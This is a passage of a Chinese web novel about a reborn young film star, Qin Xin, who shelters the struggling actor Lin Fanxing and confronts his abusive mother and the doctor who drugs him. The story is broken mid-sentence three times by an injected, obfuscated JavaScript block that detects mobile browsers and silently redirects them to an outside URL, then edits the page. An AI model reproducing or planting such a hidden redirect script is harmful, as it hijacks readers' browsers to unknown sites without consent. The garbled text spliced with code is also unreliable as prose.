林凡星的手指很热。 像他的身体一样温暖。 但同时也是秦昕最为陌生的那一种温暖。 他立即往后躲了一下,狐疑地猜测着这个举动代表什么。对曾经的秦昕而言,接触只有一个用处,就是唤起他的痛苦和敏感。他的母亲用接触告诉他什么叫疼,他的父亲告诉他如何演绎,让他毫无表演痕迹地展示疼痛。 林凡星的触碰没有疼痛,林凡星很好。 秦昕看着凡星算不上干净的手指,还沾了一些泥土。但他的手很漂亮,像从小弹钢琴的艺术生。尽管秦昕知道林凡星是什么乐器都不会,最厉害的音乐天赋是吹流氓哨,他仍旧这样认为。 当凡星摸到他嘴唇时秦昕很明显一抖,脑子短路了一刹那,他想起了一个“小猴子”实验。 曾经有科学家从母猴身边夺走小猴子,然后用一个钢铁和棉花制作的假猴子代替同类,试图观察小猴子会不会放弃这个假同类,奔向食物。 结果令人大跌眼镜,还不懂事的小猴子宁愿蜷伏在假猴子的身上,也不愿意吃人类提供的食物。它放弃了生存,也要换取同类的触碰。 头一次感受充满善意触碰的秦昕忽然间就理解了小猴子的选择,原来亲密接触是有必要的,真正的亲密接触……不疼。 “喂,你到底多大了?”而林凡星毫无察觉地摸着他,“你别怕啊,我这人本身就自来熟,手也欠欠的,我好奇你长什么样。” 这不就是手欠嘛,和人家萍水相逢,林凡星都能趴在陌生人身上睡一大觉,醒来后还赖在被窝不走。他完全没感觉到陌生人的僵硬,只觉得这人还没清醒,就大胆地摸下去,非要摸出他的五官轮廓才罢休。 “你是不是没成年?”林凡星半信半疑,“我上高中的时候可没你这么瘦。我有个弟弟,你比我弟弟还瘦。” 秦昕说不出话来,只是浅浅地回应他:“成年了。” 弟弟,林繁星。秦昕不想提这个人,如果有机会见到林繁星,秦昕恨不得亲手掐死他。就是因为他,上辈子凡星去世前还在被人羞辱责骂。 “你别管你弟弟,先管好自己。”秦昕忍不住又说。 现在的声音才是货真价实,秦昕从小就被安排学习播音腔和台词,他太知道如何拿捏声带,在观众面前说出好听的音色。他更知道观众喜欢听什么样的少年音,那种清澈又年轻、朝气又生机的音色绝对占据着主流。 有时候,秦昕还能控制嗓子里的气流,伪装出因为太过激动而分叉的音,引来影迷阵阵笑声。他们笑他年龄小,笑他没城府,笑他纯天然演技。 然而只有他本人才知晓,自己真实的音色根本没有那么青涩,听起来就像下过雨的小巷,潮湿阴郁,还有一些些的忍耐。 嘶,这声音,自己是不是听过啊?林凡星再一次怀疑起来:“那你是干什么的?你是演员吗?” 什么!居然听出来了!秦昕又往后躲了躲:“为什么……这么问?” “因为我觉得你声音有些耳熟,又想不起来在哪里听过。可能是我听错了吧……”林凡星一想,也是,哪有那么凑巧的事,演员又不是满大街都是。他的手已经摸到了陌生人的耳朵,耳骨薄且尖,感觉是一对儿非常叛逆的反骨耳。 林凡星虽然没学过面相学,但好歹从小独身走南闯北,见过大数据。有这种耳朵的人,这辈子都是犟种,不听话,很叛逆,一意孤行。哪怕他们再如何装都装不了一辈子,迟早会露馅儿的。 秦昕的耳朵已经完全热红,连带着脖子也一起红。他不自觉地往林凡星那只手的方向偏了偏头,眼睛却瞪得大大的,不肯错过任何一秒的接触。 “我告诉你一个秘密吧,其实我是一个演员。”林凡星猜他说不定已经认出来了,否则为什么一直不说话,“只不过现在我还是一个十八线小糊咖,但是网上能查到我,我叫林凡星。” “哦。”秦昕的心口一疼,想到他上辈子的悲惨结局,“你们这份工作,很不容易。” “就是啊,混出头可难了!”林凡星心酸地说,“哪有人能一飞冲天,都是摸爬滚打吃尽苦头。当然也有一飞冲天的资源咖,一出道就在罗马,人生大道已经被家世铺好,名利双收的天之骄子。” 秦昕观察着林凡星的鼻子和嘴巴,心里又是一阵悸动。林凡星长得很漂亮,但这个圈子就是这么现实,好看的人和努力的人,不一定能坚持到最后。 “谁?”他顺着林凡星问,想要多聊聊天。秦昕从未想过他会和真正的林凡星相识,根本没想到凡星的性格这样好接触。从前他们只是很偶尔很偶尔才能碰到,秦昕身份是年轻影帝,他们注定擦身而过。 无数次,秦昕向十八线的林凡星投去腼腆的一瞥。 林凡星都在低头刷手机,没有一次和他的目光交汇过。 现在秦昕如饥似渴地观察他,恨不得把林凡星拴在身边算了,每天抽出20个小时盯着他。他忽然发现林凡星的脸和他偷偷存起来的照片还是不太一样,剧照都有修图的成分,工作人员把他原生态的脸修得过分精致,忽略了他更可爱的细节。 杂乱又不听话的野生眉,双眼皮前面比较平,后面有一个飞扬的灵动弧度。而且再仔细看,还能发现他左眼的眼皮比右眼宽那么一点点。鼻头没有精修片里那么尖锐,偏圆,鼻翼上藏着一颗小痦子,颜色很浅。 嘴唇上方有颜色更浅的软毛,像小动物的胎毛。秦昕目不转睛,狂热地吸收着新的发现,以至于忽略了林凡星说出的一串人名,直到……他听到了自己的名字。 “……还有那个秦昕,秦昕你听过吧?最年轻的影帝,好几年前他就拿国际大奖了。”林凡星换算了一下,这时候秦昕20岁,“6年前人家就是影帝了。他妈妈是风华绝代的女演员,他爸爸是大导演,也是那部电影的一把手。他姥爷可是电影协会的创办人之一,这样的家庭他还缺什么?” 说着,林凡星的笑容也冷了下来。 是啊,这样的家庭起点,你还缺什么呢?是不是就缺一个可以肆意玩弄的人,缺一个狂热的爱慕者,缺一个愿意捧出真心给你践踏的傻子? “你,不喜欢他?”秦昕太敏感了,一下子发现了林凡星的微表情变化。 “对,我讨厌他,特别讨厌他。”林凡星又一次苦笑,人真是贱得慌,上辈子被秦昕玩弄成狗都不如,现在再提起来……林凡星还是难受,还是心里酸疼,还是想发疯一样找回去要一个答案。 人就是贱。 但林凡星禁止自己再犯贱,摇了摇头说:“我真的很讨厌他……”话音刚落,林凡星的眼前出现了模模糊糊的人影,光线也开始朝他的视线范围里挤,仿佛全世界都给他开了灯。 他惊喜地坐了起来:“等等,我眼睛好像能看见了……好像要好了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15900707|176614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这算是重生后的第二件大好事,眼睛的失明果然是上辈子的后遗症。林凡星就这样坐在沙发边,大气都不敢出一下,生怕惊动了他正在恢复的视力。亮度越来越强,渐渐地,林凡星看出了窗口的光影,看到了碎花图案的窗帘,以及…… 沙发上躺着的……戴着头盔的陌生人? 陌生人不知道什么时候又戴上了头盔,靠在沙发背上,被子盖住腰部以下,说不出的诡异和奇怪。 林凡星眯着眼睛,看了他十几秒钟,终于等到视线全面复原,看了个清清楚楚,顿时充满佩服地说:“哥,你好白啊。” 惨白的秦昕拼命压着急促的呼吸,不想承认方才的他多么局促。林凡星刚说完讨厌自己,视力就回来了,吓得他这位天才影帝不够一切伸直胳膊去够茶几上的头盔,赶在最后一秒钟戴在了脑袋上。 头盔才是他的本体,是吧? 这张脸还是别见人了,好不容易林凡星愿意摸摸他,要是知道他的真实身份,秦昕想不出还有什么和解的可能。 但是,凡星他什么这么讨厌自己?他是不是从别人口中听到了自己的负面新闻或者不实消息?明明两个人连直接接触都少得可怜。 “不过你怎么又戴上了?”林凡星戳着他的肋骨问。 唉,上辈子手欠,这辈子改不掉。林凡星盘着腿坐在恩人面前,他的影子落在头盔表面,仿佛在自言自语。 “戴上比较随意,我很喜欢。”秦昕撒了个弥天大谎。 “好吧,那就……随意吧。”林凡星也不好说别的,重生后的第一天已经顺利度过,接下来他还有的忙呢。 不等林凡星再开口,秦昕主动问:“你今后打算怎么办?” “先找我弟弟吧。”林凡星如实地说。先找林繁星,然后把林繁星打到爹妈不认,再带着林繁星去打爹妈,把爹妈打到林繁星不认。上辈子没有的亲情他不要了,这辈子谁也别想站在道德高点对他指指点点。 命运给他重来一次的机会,他要活得肆意潇洒,快快乐乐,享受人生。 又是弟弟,那个林繁星有什么可找的。秦昕半晌开口:“那你身上有钱么?” 林凡星挠着膝盖说:“没有。而且……我有一个不情之请,就是……哥,你能不能回去一趟,帮我找找手机?” “好。”秦昕同意了,“但我有要求。” 林凡星坐直了:“多少钱,你说吧。我肯定还钱。” “你要在这里住下,不能乱跑。我陪你去找弟弟,你要跟我去医院做检查。生活费暂时我提供,每天我会叫外卖送来必需品,你不能出门。”秦昕说,这里头有一句违心的,就是“找弟弟”。 “可以。”林凡星又不傻,这种饭来张口的好日子……终于轮到他了! “现在你休息,我要离开一阵。”秦昕算了算时间,天都亮了,他必须回家了。林凡星有他的事情要处理,秦昕也有他的烂摊子。 上辈子活得糊里糊涂,这一次秦昕要搞清楚的事情太多,最重要的是……他必须弄清楚,自己到底是谁的儿子。 反正肯定不会是秦光泽,生理学父亲另有其人。 “好,你去办你的事,我肯定不乱跑。”林凡星求之不得呢,举手发誓,“大恩大德,无以回报,日后必定报答!” “好。”陌生人的头盔明显地往下点了两下,“我等日后。” 8. 聒噪金丝雀 这是什么好日子?林凡星终于相信这回狗老天不欺负他了。 恩人终于退烧,休息了一会儿之后就开始点外卖。林凡星早就腹中空空,仍旧盘着两条腿,坐在沙发边上,大有非要当这个金丝雀的思想觉悟。 秦昕看了看他盘腿的姿势,原来真实的凡星和他幻想中的凡星不太一样。以前他只能从采访或者粉丝拍的小视频里了解他,他当着镜头没有这样随意,偏向于冷漠疏离。 现在冷漠疏离的林凡星不修边幅地撩起T恤挠了挠浅浅的腹肌,轻声询问:“咱们吃什么啊?” “你想吃什么?”秦昕很高兴,有一种……当了金主的错觉。 哪怕是出租屋文学的那种金主,也不错。秦昕看了看这屋子,确实是破旧了一些。在这屋子里的双男主绝对不应该是年轻影帝和明星,从传统文学上来分析,应该是辍学的哥、逃学的弟,不要他们的爸和莫名消失的妈。 “我想吃清淡的。”林凡星不想狮子大开口。 “你现在应该多吃肉。”秦昕又看了看他的小腿。 没关系,他有头盔,林凡星看不出他在看他小腿。 “你是不是看我腿呢?”没想到林凡星下一秒就问。 只见那陌生人低头看向了手机:“没有。” “唉,看就看呗,我腿是挺好看的,出道的时候还被评选为‘美腿模子哥’呢,好多人以为我商K出身。”林凡星把腿伸直了,翘着脚丫子搭在茶几上。 秦昕顺着他的膝盖扫视小腿,又看了看脚踝。 又看了看脚心。 “可以吃烧烤吗?”林凡星没招了,他真的想吃那个。最主要的是他已经两天两夜没吃饭了,手机里那点零钱都填了窟窿。 金主秦昕点了点头:“好,但是你现在不要吃太辣。” “我听你的。不过你要怎么吃?”林凡星站了起来,手指敲了敲他的头盔。 头盔里回荡着咚咚咚的闷响,在秦昕两耳当中不停盘旋,犹如山谷回音。“我回去再吃。” “那你把药带上,别空腹吃药。你应该是体质太差引起的风寒发烧,之后可能还会感冒……”林凡星屁颠屁颠地跑向药盒,拿起来又跑回来,一股脑儿塞进恩人裤兜,“知道怎么吃药吧?” 这话问的,秦昕反而不知道怎么回答:“我会看说明书。” “谢谢你的贴心辩解,不然我真不知道你识字呢。”林凡星回以无奈的目光,谁问你这个了,“我的意思是……比方说,吃感冒药之后不能喝酒,这种知识你懂吧?” 瘦高的陌生人居然答不上来。林凡星顶着一头怒发冲冠的软毛,脸上无奈之情更浓一层:“我还以为你很会吃药呢,脆皮高中生。” 我是吃过很多药,但并不擅长。秦昕没法和他解释太多,只是纠正:“我是……大学生,成年人。” “好好好,脆皮男大。记住了,吃药前别空腹,吃药后别喝酒,回家洗热水澡就睡觉,被子盖厚些,省得一发汗踢开了,你还得受凉。”林凡星特意强调,“你家里人会照顾你吗?” 耳根子清净了二十多年的秦昕第一次觉得人生这么热闹,但无奈地说:“我和父母关系很疏远。” “哦……”那就是和我差不多了,林凡星不愿意恩人也走同样的路,自以为毫无表演痕迹地拱火,“虽说身体发肤受之父母,不敢损伤,但是咱们不能白白受气。你听得懂我话外之音吧?” 秦昕更无奈了:“谢谢,我听得懂。” “大学生就是聪明。”林凡星放心了,能救一个是一个。 时间有限,秦昕抓紧时间给他养的叽叽喳喳金丝雀点餐。但是他从没吃过烧烤,点开之后也不知道选什么。身边忽然一热,那个近乎完美形态的圆脑袋凑过来,发旋挡住了秦昕的视线。 几缕不听话的头发扫过秦昕的脖子。很痒痒。 这感觉,让他想起小时候养的杜宾犬。不同的是杜宾犬没有他的话这么多。 “这个,这个,还有这个。”林凡星在屏幕上点点点,秉承着被“包养”的顺从态度,抬头又问,“你要个清凉补路上喝吧,下过雨会很闷,我怕你又中暑了。” 唉,恩人就是脆皮,林凡星可操碎了心。 从没点过清凉补的秦昕压低了声音:“那你帮我点。” 就这样,十几分钟后外卖小哥上门,送上还热乎的小烧烤和一瓶椰汁清凉补。秦昕临走之前检查门窗,再三叮嘱不允许林凡星乱走。林凡星点头如捣蒜,天王老子来了他也不会走出一步,出去就被人砍死。 “放心吧,谁来我也不走!”林凡星举起3根手指发誓,就算这时候秦昕站在门口,他也不会迈出一步! 站在门口的秦昕点了点头,这才下楼。 到了楼下他先去取摩托车,车身多了不少划痕,一看就是昨晚太过着急,不知道磕在了什么地方。上车之前他忽然想要抬头看看,并没有抱什么希望。 回过头之后,小小的长方形窗口后面,叼着竹签子的林凡星朝他挥了挥手。 秦昕很意外,也不确定自己要不要挥手,最后还是选择拧动车把,酷酷地骑走了。 目送背影消失的林凡星轻笑了一声,这人呐,死要面子活受罪,就算是成年人也年龄不大。那么,现在自己干点什么呢? 他看向餐桌,除了烧烤和矿泉水,还有一个旧旧的笔记本,应该是以前住在这里的人留下的东西,本子上还夹着一支圆珠笔。于是林凡星一边叼着鱿鱼腿一边翻开小本,准备理一理思路,顺一顺之后两年他能用上的人脉。 还是要努力搞事业啊,恩人又不能养他一辈子。 市南的洞湖别墅区,一个年轻人徘徊在05号院的门外,看上去焦急万分。直到熟悉的摩托声由远及近,他脸上才绽放出舒心的笑容。 “你怎么自己跑出去了?还彻夜未归?真是胆子大了。”他拦住黑色摩托车,“我爸都要急死了!” 秦昕只能停车,终于摘下头盔好好呼吸一下新鲜空气,车把上还挂着一杯没喝的椰汁。“我在外面有急事。” 再次见到方飞宇,秦昕深深地打量了他许久。这算得上他唯一信任的朋友,从小陪着他一起长大,是家庭医生方博的独生子。他的胆量比秦昕大,不止偷偷买了摩托车,还偷偷教会了秦昕。 只不过后来发生了很大的变故,按照上辈子的时间线,方飞宇会在两周后出一场意外。而那场意外,也改变了上辈子秦昕的人生。 “能有什么急事?连我摩托车都骑走了……我靠!你给我车划了!我老婆破相了!”方飞宇还没察觉到秦昕的目光有所不同,爱车如命的他光顾得心疼摩托,“这是什么?你给我买的补偿?” 他指了下车把挂着的饮料,然后把手伸了过去,要拿。 “这个不是。”秦昕率先一步将清凉补夺了过来,“这个是……是我自己买来喝的。” “开什么玩笑?你喝冰饮?你不怕喝完了拉一周肚子?”方飞宇的话不无道理,秦昕是家里出了名的病秧子,真是从学会吃饭就开始吃药,“我爸说了,你最近身体越来越差,他得给你换药。” 一听到“换药”,秦昕不露痕迹地变了变脸色,但随后又是一笑:“方叔对我真是上心。” “咱俩别在这里聊,一会儿让我爸看见,让你妈看见,咱俩吃不了兜着走!”方飞宇帮着秦昕推摩托车,不住地打量着他,“喂,你说咱俩关系铁不铁?” 秦昕正在抚摸清凉补的瓶身,白色的椰汁、半透明的马蹄爆珠还有正方形的冰块,每一样都那么新鲜。“铁,所以我有事和你商量。” 摩托车推回私家车房,秦家请的园丁正在院落里清理被暴雨打落的树叶,方飞宇用他高大的身体挡住秦昕,悄悄地问:“什么事啊?” 秦昕顿了顿,实在囊中羞涩:“借我一点钱。” “早说啊,我昨天刚来了一个涨停板。”方飞宇浓眉飞扬,“要多少?” 秦昕大大方方地说:“500万。” 方飞宇的眉毛顿时耷拉下去:“你在外头欠钱了?” 秦昕摇了摇头。 “你在外头养小情人了?”方飞宇的思路只能往另外一个方向疾驰而去。秦昕再如何深入浅出,他仍旧是娱乐圈的人。当初他爸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15900708|176614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 差点打断他半条腿,就是不允许他也跟着秦昕考艺术院校,怕他沾染圈内的恶习。 但是秦昕不应该吧,他洁身自好。方飞宇刚这样想完,只见秦昕点了点头。 “我靠……真养了啊?”方飞宇彻底震惊了,果然他爸的话没错,娱乐圈是大染缸,再干净的人进去转两年,也坏了。 “养了。”秦昕自认为现在他和林凡星是包养关系,而他确确实实没有大钱。虽然他是影帝,可出名太早,他的成名作和后面两部作品都是18岁之前拍完,片酬都是直接打到他监护人卡里。 也就是他名义上的父亲,知名导演秦光泽。 18岁后他的精神状况极不稳定,处于半息影状态。 方飞宇哑口无言,大概是没想到他承认得如此痛快:“养谁了啊?我认识吗?哪个女明星?你忽然要这么多钱,不会她那边还欠着钱吧?” 并非空穴来风,当艺人欠钱再正常不过,有时候一个艺人忙忙碌碌一整年,年终盘点倒欠公司几十万。但方飞宇也就是这样一问,秦昕应该没那么傻,包养金丝雀也会挑选没有后顾之忧的。 “嗯,欠着不少,我得想办法。”秦昕又点头了。 方飞宇气炸了。 “你把她名字告诉我,快点儿!我找私家侦探查查,到底什么人能把你迷得神魂颠倒,夜不归宿,还自愿替她还钱?再说了……你小心点儿,你现在这身子骨……再让人家给榨干了。”方飞宇生怕明天他爸就告诉他,秦昕肾虚了。 肾虚,总在放纵之后。 “我不仅要还钱,我还要复出。”秦昕在脑海中规划他的复出之路,“你先帮我买股票吧,买哪一支股我一会儿告诉你。还有,你手头的那几支赶紧抛出去,下午就抛。” “等等……为什么啊?你懂股票吗?”方飞宇百思不得其解,但哪怕他再了解秦昕的为人也不敢冒然听他指挥。现在他持有的可是形势大好的股,下午还想着加仓呢! 奇怪,怎么秦昕变了个人似的,还要复出?方飞宇看着他清瘦的背景进了门,想不出所以然。 等秦昕回到他的卧室,最后一点力气用空,他直接倒在了床上。 两秒后他又挣扎起身,不行,他没有太多时间休息。保险柜的密码锁被他亲手转开,秦昕拿出了他的日记本。 [6月6日天气:暴雨 晚间看到法制新闻,有一男演员因为财务纠纷被伤了眼睛,已经紧急送至医院抢救。医院漏出消息,受伤男演员叫林凡星,左眼难保。 居然是林凡星……不愿意相信,也不能相信。从此之后,他只有一只眼睛了,他的生活要怎么办?他的财务纠纷又是怎么回事? 真想问问他,但我和他根本不认识。真想去医院看看他,哪怕偷偷看一眼。 究竟是谁伤了他!] 这是秦昕亲手写的,底下洋洋洒洒还有好几段。上辈子他发疯一样试图剖析事情的真相,后悔什么都做不了。哪怕现在秦昕已经成功救回了凡星,再回看当年的日记仍旧心有余悸。 再往后翻,就是关于方飞宇的那件大事,那小子经历了史无前例的一场灾难,股灾。 不行,得让他赶紧抛了股票。秦昕不能让他悲剧重演…… 铛铛铛,敲门声打断了他的思考。门外是保洁阿姨的声音:“秦少爷,夫人让你去一趟她的房间。” “好,我这就去。”秦昕收好笔记本,打开衣橱,选出一套干净的居家服换上。 就算母亲不找他,秦昕也会主动去,这是和他命运紧紧关联的另外一个当事人。 10分钟后,秦昕站在乔莲的房门口,轻轻敲了3下:“母亲,是我。” “进来吧。”是乔莲的声音。 秦昕这回推开门,却没有直接迈步进去,而是留在原地等了几秒钟。忽然间一个烟灰缸横空飞过,刚好砸在了木门上,留下了一个明显的凹痕。 上辈子就是这样,6月7日他被母亲叫到房间谈话,一进屋,没躲开玻璃烟灰缸,砸了一个乌眼青。 “我来了。”这一次,秦昕弯腰捡起那个烟灰缸,攥着它进了屋。 9. 坐实了金主 在秦昕的记忆里,母亲的房间总是不开窗帘,她仿佛怕光。 “母亲。”秦昕像无事发生一样,将玻璃烟灰缸放在了她的化妆台上。 乔莲背向着儿子,光一个背阴处的背影就足够动人。时光仿佛也不舍得给她留下遗憾的痕迹,她总是美得那么不费力气。 “你昨晚出去了?”乔莲并没有回头看秦昕。 秦昕在开口前先斟酌了一下:“是的。您就是问我这件事么?” “为什么出去?”乔莲非常快速地转了过来,而她这一个小动作,带给秦昕的连锁反应居然是下意识地闪避。他不知道乔莲什么时候会发作,上一秒还是一个平静的母亲,下一秒就变成歇斯底里。 但这毕竟是自己的母亲,秦昕的长相大部分遗传了妈妈的优点,特别是那一双被誉为“娱乐圈无代餐”的眼睛。母亲年轻的时候别人说“乔莲之后再无乔莲”,他14岁获奖时,这句话变成了“乔莲之后还有秦昕”。 完美复制的丹凤眼,是他们母子无法抵赖的血缘。 “因为我朋友出事了,所以彻夜未归。请问这有什么问题么?”现在,秦昕选择不骗她。 “朋友?你有什么朋友?你还有朋友吗?除了方家那个小子,你这种人居然还能交到朋友?你也配有朋友?”乔莲甚至不用动手,光是这样动一动嘴皮子,每个字都能变成冰冷的刺刀扎进秦昕的身体里。 秦昕的心头涌动着异样,卷动着无法否认的恨意。 他注视着那双一模一样的眼睛,却从未在她的瞳孔里看到一个快乐的自己。上辈子他很想拯救不幸福的母亲,最起码,他想找出母亲狂躁的原因,或许找到了就能挽救这个家。所以他习惯性地检讨自己,怀疑是不是自己不够出色,怀疑自己的存在是不是真的断了母亲的演员之路。 很多人是这样说的! “我当然有朋友。”秦昕想起了那个毛茸茸的脑袋,林凡星的面孔在眼前晃动,他叽叽喳喳的唠叨在耳边响,“方飞宇是我的朋友,我也有除了他之外的朋友。” “哈哈哈哈……”乔莲发出一串冷笑,太漂亮的人连阴冷发笑都那么动人,每一个角度拿到大屏幕上都可以过关。然而她的变脸也充满了戏剧性,犹如原形毕露的女鬼,一刹那狰狞万分,目露凶光。 “你能有什么朋友!你不配!”乔莲两三步走到秦昕面前,两只手捏住了儿子的肩膀,“你就是一个孽种!你根本不配活着!要不是你……” 身体虚弱的秦昕想要挣开,然而现在的他根本不是乔莲的对手,几次三番才掰开母亲的手指。他从未真正意义的反抗过,总觉得母亲是精神不好,她是一个病人。直到最后他成了病人,在吞下精神药物浑浑噩噩之后,他从母亲脸上看到了他从未见过的表情。 那是一种快乐又放松的笑。她在庆祝儿子终于倒下了。 “放开!”秦昕这次将她一推,明明是想推开她,自己也靠在了墙上。 乔莲也撞在了化妆台上,那些被保洁阿姨收拾好的护肤品全部掉在了地上。肩膀磕在镜子上,她的呼吸像拉破的手风琴,破音中透着不可置信。20年一晃而过,母子终于走到了动手对峙的对立面,她反而没有痛心,而是流露出“我就知道会有这一天”的轻视。 “好,好,你终于藏不住了,对吧?我就知道……我就知道你小子流着肮脏的血,你就该去死!”乔莲扶着化妆台重新站直,发丝粘在她出汗的颈侧,青色血管藏在她牛奶白的肤色里。 秦昕的状况比她还不好,光是一个猛然发力就站不住了,脸色比乔莲还要难看。“是我藏不住了么?你们对我做过什么,你们……心里不知道么?” 乔莲轻视的目光瞬间消散,换成了惊讶:“你知道了?” 秦昕冷冰冰地看着她:“难道我不该知道么?” “不,你该知道,你该知道我和你父亲对你是什么心态,你只是我们的艺术品。我给于你外貌,没有这张脸你以为多少人会看你的电影?秦光泽给了你才华,他自己都说过,你的演技是与生俱来的天赋,你……” “不,不是你和他。”秦昕捂着心口的位置,将她的话打断。 乔莲又一次停顿下来,再开口的时候,出现了秦昕从未见过的局促。“你在说什么?” “不是你和秦光泽,你知道的,我说的不是你们两个。”秦昕意有所指,“除了你们,还有另外一个人对我做过什么。而这件事是你默许的,对吧?” 乔莲恍惚中转过去,摆了摆手:“我不懂你在说什么,快滚!” “你心虚了?因为我戳穿了你的丑事?戳穿了你和秦光泽这场婚姻的真相?”秦昕也不知道是什么撑着他,疲惫双眼仅剩下一簇光芒。他也想抓住父母对他疼爱的证据,只是那一簇火苗终归要熄灭。 “我知道你恨我。”秦昕将上辈子没说出来的话倾泻而出,“他们说,你是因为怀孕,错过了档期,失去了《人生夏谣》的女一号资格,对么?” 乔莲的手紧紧揪住厚重的窗帘,纤细的手腕仿佛不堪一击。“滚出去!” “看来我猜对了。”秦昕咳出了几声残破的音节。他的出生,就是母亲事业走下坡路的开端。 《人生夏谣》是邵永瑞大导演的得意之作,21年前的选角之争也是如火如荼,竞争激烈。他的母亲乔莲自然是热门人选,最后也不负众望,得到了邵永瑞的点头。所有人都知道只要不出意外,女一号就是乔莲的了。 可是偏偏出了意外,乔莲怀孕了。查出身孕的时候,已经5个月。 乔莲本身过瘦,常年控制饮食导致胎儿过小,经期一直不准,所以从来没往怀孕这个方向想过。而医生的话更是给了她致命一击……当胎儿察觉到母亲不想要孩子的时候,就会想方设法躲过去,伪装成没有怀孕的假象。 这5个月里,乔莲不是没有经历过生理周期,这就是胎儿伪造的假性出血。更可怕的是,胎儿并不是蜷缩状态,而是将身体拉直,站在她体内,想尽一切办法不被发现。 这就是秦昕,等乔莲想要再采取措施,已经为时已晚。《人生夏谣》开机在即,女一号紧急换人,5个月后,秦昕出生,《人生夏谣》杀青。 等秦昕周岁时,《人生夏谣》在海外得奖,乔莲当年的竞争对手赵以唯靠女一号一角捧起了“最佳女主”的双翅奖杯,一战成名。在致谢宴会上,赵以唯当着记者的面感谢剧组和影迷,还特别强调了一个人。 她感谢了秦昕,感谢这个孩子的到来让她拥有了女一号,拥有了今天的一切。 “你一直恨我,我都知道。”秦昕终于肯直面这个创伤。《人生夏谣》也好,赵以唯也好,都是他们母子断裂的帮凶。 “对,我就是恨你,你知道还不快滚!”令人意外的是乔莲也不隐藏,她的点点滴滴变成了血泪控诉,要悉数泼洒在儿子的身上,“要不是你……要不是你!你吸光了我的运气,吸走了我的灵气,你生长在我的牺牲之上! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15900709|176614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你还要干什么!你出生之后我就再也没演过女一号,我的盆骨被你撑裂,我的身体像重新拼起来的木偶,再没有人夸过我眼神灵动。现在你满意了吗?你就该去死!” 心底的疑问得到验证,秦昕心如刀割,也不得不选择转身而去。他不想和乔莲吵架了,争辩已经发生过的事情没有任何意义。 “满意了。不过我会好好活着,我不会死。”秦昕苦笑着点了点头,他也不用做什么,命运会把他们每个人送到结局,轮不到他再出手。 离开母亲的卧室之后,秦昕感觉自己的体温又热了起来,真是一点情绪波动都不能有。回到自己房间,秦昕先把他的日记本打开,翻到了几周后。 那时候,在股市赔得倾家荡产的方飞宇已经开始买醉,朝着他的不归路走去。而秦昕刚好是一个事无巨细的记录者,擅于做手账的他还打印了那几天的大盘线图,贴在了纸上。 正在外头洗车的方飞宇忽然收到了秦昕的消息。 秦昕:[把你手头的股票抛出去,买这几支。] 怎么还是买股票啊?方飞宇往窗口看了看,以前没听说秦昕对这些事情感兴趣。 秦昕也不敢让他多买,万一这辈子的股票大盘有所出入,岂不是毁于一旦?当他把那几支股票的名字给方飞宇发过去之后,房门再一次被人敲响,来的不是别人,正是方飞宇的父亲,方博。 “秦少爷,该喝药了。”方博在门外说。 “请进吧。”秦昕收好了笔记本。 方博端着一碗中药进来,小心翼翼放在桌上,耐心嘱咐:“药是我亲手熬好的,比外面代煎的浓稠一些,所以喝下去比较苦。我给您准备了蜂蜜水,可以润润喉。” “谢谢您,方叔叔。”秦昕疲倦地点了点头,“最近吃了您的药,我觉得精神好多了。” “那就好,那我就放心了。”方博尽职尽责,又说了一些最近的注意事项,这才离开。 然而等到他关上门,秦昕疲倦的神情立即变成了清醒。桌上那一碗黑色的药汁散发着浓稠的苦味,秦昕不带犹豫地端起碗,连同那一杯让他润喉的蜂蜜水,一起倒进了洗手间的下水道。 这就是他质问乔莲时说的“那个人”。他从小最为信任的家庭医生,方叔叔,就是导致他身体孱弱的最大帮凶。 假装喝完中药,秦昕又说他喝完药饿了,请阿姨给他熬了粥和清汤。尽管没有食欲可秦昕还是尽力去吃,他必须尽快恢复体力。 吃完饭,秦昕又开始昏昏欲睡,从前吃药吃得太多,副作用一时半会儿不会消失。等到他再次睁眼,窗外是一片火烧云,已经到了傍晚。 糟糕!忘记给金丝雀点晚饭了!饿死了怎么办? 第一次包养,实在没有经验。 秦昕一个起身,一阵眩晕,强忍住眩晕开始手机点餐。餐品他不会选,直接“再来一份”,又怕林凡星吃不饱,额外点了两份中式点心。搞定之后,秦昕看了看时间,时间刚好,他要帮林凡星找手机去了。 正在小屋子里饥肠辘辘的林凡星听到了外卖的敲门声,那声音悦耳动听,简直天籁!等外卖员走后,林凡星观察了猫眼才打开防盗门,还以为恩人把他给忘记了呢。 大大的保温袋香气喷喷,摸着还热。口袋上别着出餐单,备注是:[等我,今晚过去。] 林凡星顿时一愣,这话……真的很像金主和金丝雀! 怎么着,我吃完你的烧烤还要洗个澡,等你? 10. 网恋和现实 